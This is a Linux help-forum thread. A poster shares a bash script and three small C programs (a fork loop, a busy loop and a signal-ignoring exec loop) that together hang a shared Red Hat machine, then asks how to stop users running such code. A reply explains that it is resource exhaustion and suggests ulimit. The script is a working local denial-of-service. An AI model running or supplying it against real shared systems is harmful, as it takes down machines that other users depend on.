Find the answer to your Linux question:
Results 1 to 2 of 2
Sir , I have written a script that calls few programme to run on terminal which are written in 'C' language under GCC compiler ,all those progs are typically use ...
Enjoy an ad free experience by logging in. Not a member yet? Register.
  1. #1
    Just Joined!
    Join Date
    May 2005
    Posts
    14

    Deadlock under linux kernel 2.4.20 with a simple script


    Sir ,
    I have written a script that calls few programme to run on terminal which are written in 'C' language under GCC compiler ,all those progs are typically use infinte loop and forking of proccesses that hang down the machine with (Red hat 9 .kernel ver:2.4.20) with 512 MB RAM & Pentium 4 HT proccessor . The apache & Samba is running in the machine .
    Suggetst me sir , that How could i control over such malicious prog execution to stop others programmers to do so on the machine .
    The Programme CODE is given below & kindly check it out ,SEnd me solution ,
    Its an URGENT


    //THE CODE IS AS FOLLOWS :

    // THIS SCRIPT RUN IN USER TERMINAL
    //THE MAIN SCRIPT THAT CALLS OTHER PROGS
    #!/bin/bash
    touch overload.data
    while true
    do
    nohup ./fork.o&
    nohup ./loop.o&
    nohup ./intr.o&
    yes "the infinite justice" > overload.data
    done



    //THE FIRST PROG IT CALLS "./fork.o"
    #include<stdio.h>
    #include<sys/types.h>

    int main()
    {
    while(1)
    {
    if(fork()==0)
    {
    printf("%d",getpid());
    execv("/usr/bin/date");
    }

    }
    return 0;
    }


    //THE SECOND PROG "./loop.o"
    #loop.c
    #include<stdio.h>
    #include<sys/types.h>

    int main()
    {
    int i=0;
    while (1)
    {
    i++;
    }
    return 0;
    }



    //THE THIRD PROG "./intr.c"
    #intr.c
    #include<stdio.h>
    #include<signal.h>
    #include<sys/types.h>

    int main()
    {
    signal(SIGINT,SIG_IGN);
    while(1)
    {
    execv("/usr/bin/date");
    }
    return 0;
    }

    THESE PROGS ARE COMPILED UNDER "gcc " ver: 3.2.2 "
    ----------------------------------------

  2. #2
    scm
    scm is offline
    Linux Engineer
    Join Date
    Feb 2005
    Posts
    1,044
    I don't think you can prevent the scenario you've set up. You could try setting your users' time ulimit to prevent too much CPU. man ulimit for details.

    BTW, you're not creating a deadlock situation, you're just exhausting the system's resources.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •